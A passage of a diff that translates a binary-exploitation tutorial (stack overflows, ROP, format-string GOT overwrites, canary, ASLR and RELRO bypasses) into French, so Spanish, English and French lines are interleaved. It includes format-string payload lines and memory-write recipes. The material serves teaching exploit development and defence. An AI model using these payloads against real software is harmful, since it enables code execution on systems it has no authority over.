(on vérifie que l'EIP ne contient pas 0xbf) ou lorsque l'on ne peut pas calculer l'emplacement de la shellcode. Mais, la fonction vulnérable accepte un paramètre (la shellcode ira ici). -De esta forma, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode. +De cette façon, en changeant l'EIP par une adresse de **ret**, la prochaine adresse sera chargée (qui est l'adresse du premier argument de la fonction). C'est-à-dire que la shellcode sera chargée. -El exploit quedaría: SHELLCODE + Relleno (hasta EIP) + **\&ret** (los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado) - -Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento (la que guarda la shellcode) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere. +L'exploit serait : SHELLCODE + Remplissage (jusqu'à EIP) + **\&ret** (les octets suivants de la pile pointent vers le début de la shellcode car l'adresse du paramètre passé est mise sur la pile) +Il semble que des fonctions comme **strncpy** une fois terminées suppriment de la pile l'adresse où la shellcode était stockée, rendant cette technique impossible. C'est-à-dire que l'adresse qu'ils passent à la fonction en tant qu'argument (celle qui stocke la shellcode) est modifiée par un 0x00, de sorte que lorsqu'on appelle le deuxième **ret**, on trouve un 0x00 et le programme meurt. ``` **Ret2PopRet** ``` +If we don't have control over the first argument but we do over the second or third, we can overwrite EIP with an address to pop-ret or pop-pop-ret, depending on what we need. -Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el tercero, podemos sobreescribir EIP con una dirección a pop-ret o pop-pop-ret, según la que necesitemos. +**Murat's Technique** -**Técnica de Murat** +In Linux, all programs are mapped starting at 0xbfffffff. -En linux todos los progamas se mapean comenzando en 0xbfffffff +By examining how the stack of a new process is constructed in Linux, an exploit can be developed so that the program is launched in an environment whose only variable is the shellcode. The address of this can then be calculated as: addr = 0xbfffffff - 4 - strlen(FULL\_executable\_name) - strlen(shellcode) -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode) +This way, the address where the environment variable with the shellcode is located can be easily obtained. -De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. - -Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen +This can be done thanks to the execle function, which allows creating an environment that only has the desired environment variables. **Jump to ESP: Windows Style** -Debido a que el ESP está apuntando al comienzo del stack siempre, esta técnica consiste con sustituir el EIP con la dirección a una llamada a **jmp esp** o **call esp**. De esta forma, se guarda la shellcode después de la sobreescritura del EIP ya que después de ejecutar el **ret** el ESP se encontrará apuntando a la dirección siguiente, justo donde se ha guardado la shellcode. +Since ESP is always pointing to the beginning of the stack, this technique consists of replacing EIP with the address of a call to **jmp esp** or **call esp**. This way, the shellcode is saved after overwriting EIP since after executing the **ret**, ESP will be pointing to the next address, right where the shellcode has been saved. -En caso de que no se tenga el ASLR activo en Windows o Linux se puede llamar a **jmp esp** o **call esp** almacenadas en algún objeto compartido. En caso de que esté el ASLR, se podría buscar dentro del propio programa vulnerable. +If ASLR is not active in Windows or Linux, **jmp esp** or **call esp** stored in some shared object can be called. If ASLR is active, it could be searched within the vulnerable program itself. -Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode (cosa que podría ocurrir en caso de ponerse en medio del stack de la función). +In addition, being able to place the shellcode after the corruption of EIP instead of in the middle of the stack allows push or pop instructions executed in the middle of the function to not touch the shellcode (which could happen if it were placed in the middle of the function's stack). -De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a **call eax** o **jmp eax (ret2eax).** +In a very similar way, if we know that a function returns the address where the shellcode is stored, we can call **call eax** or **jmp eax (ret2eax).** -**ROP (Return Oriented Programming) o borrowed code chunks** +**ROP (Return Oriented Programming) or borrowed code chunks** -Los trozos de código que se invocan se conocen como gadgets. +The code chunks that are invoked are known as gadgets. -Esta técnica consiste en encadenar distintas llamadas a funciones mediante la técnica de **ret2libc** y el uso de **pop,ret**. +This technique consists of chaining different function calls using the **ret2libc** technique and the use of **pop,ret**. -En algunas arquitecturas de procesadores cada instrucción es un conjunto de 32bits (MIPS por ej). Sin embargo, en Intel las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo: +In some processor architectures, each instruction is a set of 32 bits (MIPS for example). However, in Intel, instructions are of variable size and several instructions can share a set of bits, for example: -**movl $0xe4ff, -0x(%ebp)** —> Contiene los bytes 0xffe4 que también se traducen por: **jmp \*%esp** +**movl $0xe4ff, -0x(%ebp)** —> Contains the bytes 0xffe4 which also translate to: **jmp \*%esp** -De esta forma se pueden ejecutar algunas instrucciones que realmente ni si quiera está en el programa original +This way, some instructions that are not even in the original program can be executed. -**ROPgadget.py** nos ayuda a encontrar valores en binarios +**ROPgadget.py** helps us find values in binaries. -Este programa también sirve para crear los **payloads**. Le puedes dar la librería de la que quieres sacar los ROPs y él generará un payload en python al cual tu le das la dirección en la que está dicha librería y el payload ya está listo para ser usado como shellcode. Además, como usa llamadas al sistema no ejecuta realmente nada en el stack sino que solo va guardando direcciones de ROPs que se ejecutarán mediante **ret**. Para usar este payload hay que llamar al payload mediante una instrucción **ret**. +This program also serves to create **payloads**. You can give it the library from which you want to extract the ROPs and it will generate a payload in Python to which you give the address where said library is located and the payload is ready to be used as shellcode. In addition, since it uses system calls, it does not actually execute anything on the stack but only saves addresses of ROPs that will be executed through **ret**. To use this payload, the payload must be called using a **ret** instruction. **Integer overflows** -Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo: - +This type of overflow occurs when a variable is not prepared to support a number as large as the one passed to it, possibly due to confusion between signed and unsigned variables, for example: ```c #include #include @@ -355,25 +342,23 @@ printf("\nIntento de hack\n"); return 0; } ``` +Dans l'exemple précédent, nous voyons que le programme attend 2 paramètres. Le premier est la longueur de la chaîne suivante et le second est la chaîne. -En el ejemplo anterior vemos que el programa se espera 2 parámetros. El primero la longitud de la siguiente cadena y el segundo la cadena. +Si nous passons un nombre négatif comme premier paramètre, il sortira que len < 256 et nous passerons ce filtre, et de plus strlen(buffer) sera inférieur à l, car l est unsigned int et sera très grand. -Si le pasamos como primer parámetro un número negativo saldrá que len < 256 y pasaremos ese filtro, y además también strlen(buffer) será menor que l, pues l es unsigned int y será muy grande. +Ce type de débordements ne vise pas à écrire quelque chose dans le processus du programme, mais à contourner des filtres mal conçus pour exploiter d'autres vulnérabilités. -Este tipo de overflows no busca lograr escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades. +**Variables non initialisées** -**Variables no inicializadas** +On ne sait pas quelle valeur peut prendre une variable non initialisée et il pourrait être intéressant de l'observer. Il se peut qu'elle prenne la valeur qu'une variable de la fonction précédente prenait et que celle-ci soit contrôlée par l'attaquant. -No se sabe el valor que puede tomar una variable no inicializada y podría ser interesante observarlo. Puede ser que tome el valor que tomaba una variable de la función anterior y esta sea controlada por el atacante. +## **Chaînes de format** -## **Format Strings** +En C, **`printf`** est une fonction qui peut être utilisée pour **imprimer** une chaîne de caractères. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formateurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formateurs** du texte brut. -In C **`printf`** is function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. - -The vulnerability appears when an **attacker text is put as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to **write any data in any address**. Being able this way to **execute arbitrary code**. - -Fomatters: +La vulnérabilité apparaît lorsqu'un **texte d'attaquant est mis en tant que premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale en abusant des capacités de la chaîne de format printf** pour **écrire n'importe quelle donnée à n'importe quelle adresse**. De cette manière, il pourra **exécuter du code arbitraire**. +Formateurs: ```bash %08x —> 8 hex bytes %d —> Entire @@ -383,64 +368,61 @@ Fomatters: %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` - -**`%n`** **writes** the **number of written bytes** in the **indicated address. Writing** as much **bytes** as the hex number we **need** to write is how you can **write any data**. - +**`%n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée. Écrire** autant d'**octets** que le nombre hexadécimal que nous **devons écrire** est la façon dont vous pouvez **écrire n'importe quelle donnée**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` - ### \*\*GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table) -This is the table that contains the **address** to the **external functions** used by the program. +Ceci est la table qui contient l'**adresse** des **fonctions externes** utilisées par le programme. -Get the address to this table with: **`objdump -s -j .got ./exec`** +Obtenez l'adresse de cette table avec: **`objdump -s -j .got ./exec`** ![](<../../.gitbook/assets/image (619).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT` +Remarquez comment après **chargement** de l'**exécutable** dans GEF, vous pouvez **voir** les **fonctions** qui sont dans le **GOT**: `gef➤ x/20x 0xDIR_GOT` -![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>) +![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +En utilisant GEF, vous pouvez **démarrer** une **session de débogage** et exécuter **`got`** pour voir la table got: ![](<../../.gitbook/assets/image (621).png>) -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this exploit is to **override the GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function**. Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +Dans un binaire, le GOT a les **adresses des fonctions ou** de la **section PLT** qui chargera l'adresse de la fonction. L'objectif de cette exploitation est de **remplacer l'entrée GOT** d'une fonction qui sera exécutée plus tard **avec** l'**adresse** de la **PLT de la fonction system**. Idéalement, vous **remplacez** le **GOT** d'une **fonction** qui est **appelée avec des paramètres contrôlés par vous** (vous pourrez donc contrôler les paramètres envoyés à la fonction système). -If **`system`** **isn't used** by the script, the system function **won't** have an entry in the GOT. In this scenario, you will **need to leak first the address** of the `system` function. +Si **`system`** **n'est pas utilisé** par le script, la fonction système **n'aura pas d'entrée dans le GOT**. Dans ce scénario, vous devrez **d'abord divulguer l'adresse** de la fonction `system`. -**Procedure Linkage Table** is a **read only** table in ELF file that stores all necessary **symbols that need a resolution**. When one of these functions are called the **GOT** will **redirect** the **flow** to the **PLT** so it can **resolve** the **address** of the function and write it on the GOT.\ -Then, the **next time** a call is performed to that address the **function** is **called directly** without needing to resolve it. +La **Table de liaison de procédures** est une table **en lecture seule** dans le fichier ELF qui stocke tous les **symboles nécessaires qui ont besoin d'une résolution**. Lorsqu'une de ces fonctions est appelée, le **GOT** **redirige** le **flux** vers le **PLT** pour qu'il puisse **résoudre** l'**adresse** de la fonction et l'écrire sur le GOT.\ +Ensuite, la **prochaine fois** qu'un appel est effectué à cette adresse, la **fonction** est **appelée directement** sans avoir besoin de la résoudre. -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +Vous pouvez voir les adresses PLT avec **`objdump -j .plt -d ./vuln_binary`** -### **Exploit Flow** +### **Flux d'exploitation** -As explained before the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Ideally we could set the **address to a shellcode** located in a executable section, but highly probable you won't be able to write a shellcode in a executable section.\ -So a different option is to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**. +Comme expliqué précédemment, l'objectif va être de **remplacer l'adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Idéalement, nous pourrions définir l'**adresse sur un shellcode** situé dans une section exécutable, mais il est très probable que vous ne puissiez pas écrire un shellcode dans une section exécutable.\ +Une option différente est donc de **remplacer une fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et de la **pointer** vers la **fonction `system`**. -To write the address, usually 2 steps are done: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +Pour écrire l'adresse, généralement 2 étapes sont effectuées: Vous **écrivez d'abord 2 octets** de l'adresse, puis les 2 autres. Pour ce faire, **`$hn`** est utilisé. -**HOB** is called to the 2 higher bytes of the address\ -**LOB** is called to the 2 lower bytes of the address +**HOB** est appelé pour les 2 octets supérieurs de l'adresse\ +**LOB** est appelé pour les 2 octets inférieurs de l'adresse -So, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +Ainsi, en raison du fonctionnement de la chaîne de formatage, vous devez **d'abord écrire le plus petit** de \[HOB, LOB] et ensuite l'autre. -If HOB < LOB\ +Si HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +Si HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB \`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\` -### **Format String Exploit Template** +### **Modèle d'exploitation de la chaîne de formatage** -You an find a **template** to exploit the GOT using format-strings here: +Vous pouvez trouver un **modèle** pour exploiter le GOT en utilisant des chaînes de formatage ici: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) @@ -448,8 +430,7 @@ You an find a **template** to exploit the GOT using format-strings here: ### **.fini\_array** -Essentially this is a structure with **functions that will be called** before the program finishes. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go back to main again to **exploit the format string a second time**. - +Essentiellement, il s'agit d'une structure avec des **fonctions qui seront appelées** avant que le programme ne se termine. C'est intéressant si vous pouvez appeler votre **shellcode en sautant à une adresse**, ou dans des cas où vous devez revenir à la fonction main pour **exploiter la chaîne de formatage une deuxième fois**. ```bash objdump -s -j .fini_array ./greeting @@ -460,140 +441,121 @@ Contents of section .fini_array: #Put your address in 0x8049934 ``` +Notez que cela ne créera pas de boucle éternelle car lorsque vous revenez à la fonction principale, le canari le remarquera, la fin de la pile pourrait être corrompue et la fonction ne sera pas rappelée. Ainsi, avec cela, vous pourrez avoir une exécution supplémentaire de la vulnérabilité. -Note that this **won't** **create** an **eternal loop** because when you get back to main the canary will notice, the end of the stack might be corrupted and the function won't be recalled again. So with this you will be able to **have 1 more execution** of the vuln. +### Chaînes de format pour extraire du contenu -### **Format Strings to Dump Content** +Une chaîne de format peut également être utilisée pour extraire du contenu de la mémoire du programme. Par exemple, dans la situation suivante, il y a une variable locale dans la pile pointant vers un drapeau. Si vous trouvez où se trouve en mémoire le pointeur vers le drapeau, vous pouvez faire en sorte que printf accède à cette adresse et imprime le drapeau : -A format string can also be abused to **dump content** from the memory of the program.\ -For example, in the following situation there is a **local variable in the stack pointing to a flag.** If you **find** where in **memory** the **pointer** to the **flag** is, you can make **printf access** that **address** and **print** the **flag**: - -So, flag is in **0xffffcf4c** +Ainsi, le drapeau est à **0xffffcf4c** ![](<../../.gitbook/assets/image (618) (2).png>) -And from the leak you can see the **pointer to the flag** is in the **8th** parameter: +Et à partir de la fuite, vous pouvez voir que le pointeur vers le drapeau est dans le 8ème paramètre : ![](<../../.gitbook/assets/image (623).png>) -So, **accessing** the **8th parameter** you can get the flag: +Ainsi, en accédant au 8ème paramètre, vous pouvez obtenir le drapeau : ![](<../../.gitbook/assets/image (624).png>) -Note that following the **previous exploit** and realising that you can **leak content** you can **set pointers** to **`printf`** to the section where the **executable** is **loaded** and **dump** it **entirely**! +Notez qu'après l'exploitation précédente et en réalisant que vous pouvez extraire du contenu, vous pouvez définir des pointeurs vers printf dans la section où l'exécutable est chargé et le vider entièrement ! -### **DTOR** +### DTOR {% hint style="danger" %} -Nowadays is very **weird to find a binary with a dtor section**. +De nos jours, il est très rare de trouver un binaire avec une section dtor. {% endhint %} -The destructor are functions that are **executed before program finishes**.\ -If you manage to **write** an **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.\ -Get the address of this section with: - +Les destructeurs sont des fonctions qui sont exécutées avant que le programme ne se termine. Si vous parvenez à écrire une adresse vers un shellcode dans `__DTOR_END__`, cela sera exécuté avant la fin des programmes. Obtenez l'adresse de cette section avec : ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` +Généralement, vous trouverez la section **DTOR** **entre** les valeurs `ffffffff` et `00000000`. Donc, si vous voyez simplement ces valeurs, cela signifie qu'il n'y a **aucune fonction enregistrée**. Alors, **écrasez** le **`00000000`** avec l'**adresse** du **shellcode** pour l'exécuter. -Usually you will find the **DTOR** section **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +### **Chaînes de format pour les débordements de tampon** -### **Format Strings to Buffer Overflows** +La fonction **sprintf** déplace une chaîne formatée **vers** une **variable**. Par conséquent, vous pouvez abuser de la **mise en forme** d'une chaîne pour provoquer un **débordement de tampon dans la variable** où le contenu est copié.\ +Par exemple, la charge utile `%.44xAAAA` écrira **44B+"AAAA" dans la variable**, ce qui peut causer un débordement de tampon. -Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\ -For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow. - -### **\_\_atexit Structures** +### **Structures \_\_atexit** {% hint style="danger" %} -Nowadays is very **weird to exploit this**. +De nos jours, il est très **étrange d'exploiter cela**. {% endhint %} -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64\_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** est une fonction à laquelle **d'autres fonctions sont passées en tant que paramètres**. Ces **fonctions** seront **exécutées** lors de l'exécution d'un **`exit()`** ou du **retour** de la **fonction principale**.\ +Si vous pouvez **modifier** l'**adresse** de l'une de ces **fonctions** pour qu'elle pointe vers un shellcode, par exemple, vous **prendrez le contrôle** du **processus**, mais cela est actuellement plus compliqué.\ +Actuellement, les **adresses des fonctions** à exécuter sont **cachées** derrière plusieurs structures et enfin l'adresse vers laquelle elle pointe n'est pas l'adresse des fonctions, mais est **cryptée avec XOR** et des déplacements avec une **clé aléatoire**. Ainsi, actuellement, ce vecteur d'attaque n'est **pas très utile au moins sur x86** et **x64\_86**.\ +La fonction de **cryptage** est **`PTR_MANGLE`**. **D'autres architectures** telles que m68k, mips32, mips64, aarch64, arm, hppa... **n'implémentent pas le cryptage** car il **retourne la même chose** qu'il a reçue en entrée. Ainsi, ces architectures seraient attaquables par ce vecteur. ### **setjmp() & longjmp()** {% hint style="danger" %} -Nowadays is very **weird to exploit this**. +De nos jours, il est très **étrange d'exploiter cela**. {% endhint %} -**`Setjmp()`** allows to **save** the **context** (the registers)\ -**`longjmp()`** allows to **restore** the **context**.\ -The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\ -What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\ -They are useful for error recovery or interrupts.\ -However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP. +**`Setjmp()`** permet de **sauvegarder** le **contexte** (les registres)\ +**`longjmp()`** permet de **restaurer** le **contexte**.\ +Les **registres sauvegardés** sont : `EBX, ESI, EDI, ESP, EIP, EBP`\ +Ce qui se passe, c'est que EIP et ESP sont passés par la fonction **`PTR_MANGLE`**, donc les **architectures vulnérables à cette attaque sont les mêmes que ci-dessus**.\ +Ils sont utiles pour la récupération d'erreur ou les interruptions.\ +Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, **donc s'il y a un `call ebx`, `call esi` ou `call edi`** à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pourriez également modifier EBP pour modifier ESP. -**VTable y VPTR en C++** +**VTable et VPTR en C++** -Each class has a **Vtable** which is an array of **pointers to methods**. +Chaque classe a une **Vtable** qui est un tableau de **pointeurs vers des méthodes**. -Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode. +Chaque objet d'une **classe** a un **VPtr** qui est un **pointeur** vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si une **surcharge** du **VPtr** est réalisée, elle pourrait être **modifiée** pour **pointer** vers une méthode fictive de sorte que l'exécution d'une fonction aille au shellcode. -## **Medidas preventivas y evasiones** +## **Mesures préventives et évasions** -**ASLR no tan aleatorio** +**ASLR pas si aléatoire** -PaX dive el espacio de direcciones del proceso en 3 grupos: +PaX plonge l'espace d'adressage du processus en 3 groupes : -Codigo y datos iniciados y no iniciados: .text, .data y .bss —> 16bits de entropia en la variable delta\_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales +Code et données initialisés et non initialisés : .text, .data et .bss —> 16 bits d'entropie dans la variable delta\_exec, cette variable est initialisée aléatoirement avec chaque processus et est ajoutée aux adresses initiales -Memoria asignada por mmap() y libraries compartidas —> 16bits, delta\_mmap +Mémoire allouée par mmap() et bibliothèques partagées —> 16 bits, delta\_mmap -El stack —> 24bits, delta\_stack —> Realmente 11 (del byte 10º al 20º inclusive) —>alineado a 16bytes —> 524.288 posibles direcciones reales del stack +La pile —> 24 bits, delta\_stack —> En réalité 11 (du 10ème au 20ème octet inclus) —> aligné sur 16 octets —> 524 288 adresses réelles possibles de la pile -Las variables de entorno y los argumentos se desplazan menos que un buffer en el stack. +Les variables d'environnement et les arguments se déplacent moins qu'un tampon sur la pile. **Return-into-printf** -Es una técnica para convertir un buffer overflow en un error de cadena de formato. Consiste en sustituir el EIP para que apunte a un printf de la función y pasarle como argumento una cadena de formato manipulada para obtener valores sobre el estado del proceso. +C'est une technique pour convertir un débordement de tampon en une erreur de chaîne de format. Elle consiste à remplacer l'EIP pour qu'il pointe vers un printf de la fonction et à lui passer comme argument une chaîne de format manipulée pour obtenir des valeurs sur l'état du processus. -**Ataque a librerías** +**Attaque de bibliothèques** -Las librerías están en una posición con 16bits de aleatoriedad = 65636 posibles direcciones. Si un servidor vulnerable llama a fork() el espacio de direcciones de memoria es clocado en el proceso hijo y se mantiene intacto. Por lo que se puede intentar hacer un brute force a la función usleep() de libc pasándole como argumento “16” de forma que cuando tarde más de lo normal en responder se habrá encontrado dicha función. Sabiendo dónde está dicha función se puede obtener delta\_mmap y calcular las demás. +Les bibliothèques sont à une position avec 16 bits d'aléatoire = 65636 adresses possibles. Si un serveur vulnérable appelle fork(), l'espace d'adressage mémoire est cloné dans le processus enfant et reste intact. Ainsi, il est possible d'essayer de faire une force brute à la fonction usleep() de libc en lui passant "16" comme argument, de sorte que lorsque cela prend plus de temps que d'habitude pour répondre, cette fonction est trouvée. En sachant où se trouve cette fonction, delta\_mmap peut être obtenu et les autres calculés. -La única forma de estar seguros de que el ASLR funciona es usando arquitectura de 64bits. Ahí no hay ataques de fuerza bruta. +La seule façon d'être sûr que l'ASLR fonctionne est d'utiliser une architecture 64 bits. Il n'y a pas d'attaques de force brute là-bas. -**StackGuard y StackShield** +**StackGuard et StackShield** -**StackGuard** inserta antes del EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Siguen siendo vulnerables recv(), memcpy(), read(), bcoy() y no protege el EBP +**StackGuard** insère avant l'EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> recv(), memcpy(), read(), bcoy() restent vulnérables et ne protège pas l'EBP -**StackShield** es más elaborado que StackGuard +**StackShield** est plus élaboré que StackGuard -Guarda en una tabla (Global Return Stack) todas las direcciones EIP de vuelta de forma que el overflow no cause ningún daño. Ademas, se pueden comparar ambas direcciones para a ver si ha habido un desbordamiento. +Il stocke dans une table (Global Return Stack) toutes les adresses EIP de retour de sorte que le débordement ne cause aucun dommage. De plus, les deux adresses peuvent être comparées pour voir s'il y a eu un débordement. -También se puede comprobar la dirección de retorno con un valor límite, así si el EIP se va a un sitio distinto del habitual como el espacio de datos se sabrá. Pero esto se sortea con Ret-to-lib, ROPs o ret2ret. +On peut également vérifier l'adresse de retour avec une valeur limite, ainsi si l'EIP va à un endroit différent de celui habituel comme l'espace de données, on le saura. Mais cela peut être contourné avec Ret-to-lib, ROPs ou ret2ret. -Como se puede ver stackshield tampoco protege las variables locales. +Comme on peut le voir, stackshield ne protège pas non plus les variables locales. **Stack Smash Protector (ProPolice) -fstack-protector** -Se pone el canary antes del EBP. Reordena las variables locales para que los buffers estén en las posiciones más altas y así no puedan sobreescribir otras variables. +Le canary est placé avant l'EBP. Il réorganise les variables locales pour que les tampons soient aux positions les plus élevées et ne puissent donc pas écraser d'autres variables. -Además, realiza una copia segura de los argumentos pasados encima de la pila (encima de las vars locales) y usa estas copias como argumentos. +De plus, il effectue une copie sécurisée des arguments passés sur la pile (au-dessus des variables locales) et utilise ces copies comme arguments. -No puede proteger arrays de menos de 8 elementos ni buffers que formen parte de una estructura del usuario. +Il ne peut pas protéger les tableaux de moins de 8 éléments ni les tampons faisant partie d'une structure utilisateur. -El canary es un número random sacado de “/dev/urandom” o sino es 0xff0a0000. Se almacena en TLS(Thread Local Storage). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en ppio estas son copiadas del proceso padre aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se usa fork() pero no se crea un nuevo canario, entonces todos los procesos (padre e hijos) usan el mismo canario. En i386 se almacena en gs:0x14 y en x86\_64 se almacena en fs:0x28 - -Esta protección localiza funciones que tengan buffer que puedan ser atacados e incluye en ellas código al ppio de la función para colocar el canario y código al final para comprobarlo. - -La función fork() realiza una copia exacta del proceso del padre, por eso mismo si un servidor web llama a fork() se puede hacer un ataque de fuerza bruta byte por byte hasta averiguar el canary que se está utilizando. - -Si se usa la función execve() después de fork(), se sobreescribe el espacio y el ataque ya no es posible. vfork() permite ejecutar el proceso hijo sin crear un duplicado hasta que el proceso hijo intentase escribir, entonces sí creaba el duplicado. - -**Relocation Read-Only (RELRO)** - -### Relro - -**Relro (Read only Relocation)** affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes **certain things read only** so we **can't write** to them. The most common way I've seen this be an obstacle is preventing us from doing a **`got` table overwrite**, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro. - -With relro: +Le canary est un nombre aléatoire extrait de "/dev/urandom" ou sinon c'est 0xff0a0000. Il est stocké dans TLS (Thread Local Storage). Les threads partagent le même espace mémoire, le TLS est une zone qui contient des variables globales ou statiques de chaque thread. Cependant, en principe, celles-ci sont copiées du processus parent bien que le processus enfant puisse modifier ces données sans modifier celles du parent ni celles des autres enfants. Le problème est que si fork() est utilisé mais qu'aucun nouveau canari n'est créé, alors tous les processus (parent et enfants) utilisent le même canari. En i386, il est stocké dans gs:0x14 et en x86\_64, il est stocké dans fs:0x28. +Cette ```bash gef➤ vmmap Start End Offset Perm Path @@ -626,9 +588,7 @@ gef➤ search-pattern 0x7ffff7e4d100 [+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r-- 0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` - -Without relro: - +Sans relro: ```bash gef➤ vmmap Start End Offset Perm Path @@ -661,213 +621,79 @@ gef➤ search-pattern 0x7ffff7e4d100 [+] In '/tmp/try'(0x404000-0x405000), permission=rw- 0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` +Pour le binaire **sans relro**, nous pouvons voir que l'adresse d'entrée `got` pour `fgets` est `0x404018`. En regardant les mappages de mémoire, nous voyons qu'elle se situe entre `0x404000` et `0x405000`, qui ont les **permissions `rw`**, ce qui signifie que nous pouvons y lire et écrire. Pour le binaire **avec relro**, nous voyons que l'adresse de la table `got` pour l'exécution du binaire (pie est activé donc cette adresse changera) est `0x555555557fd0`. Dans la carte mémoire de ce binaire, elle se situe entre `0x0000555555557000` et `0x0000555555558000`, qui 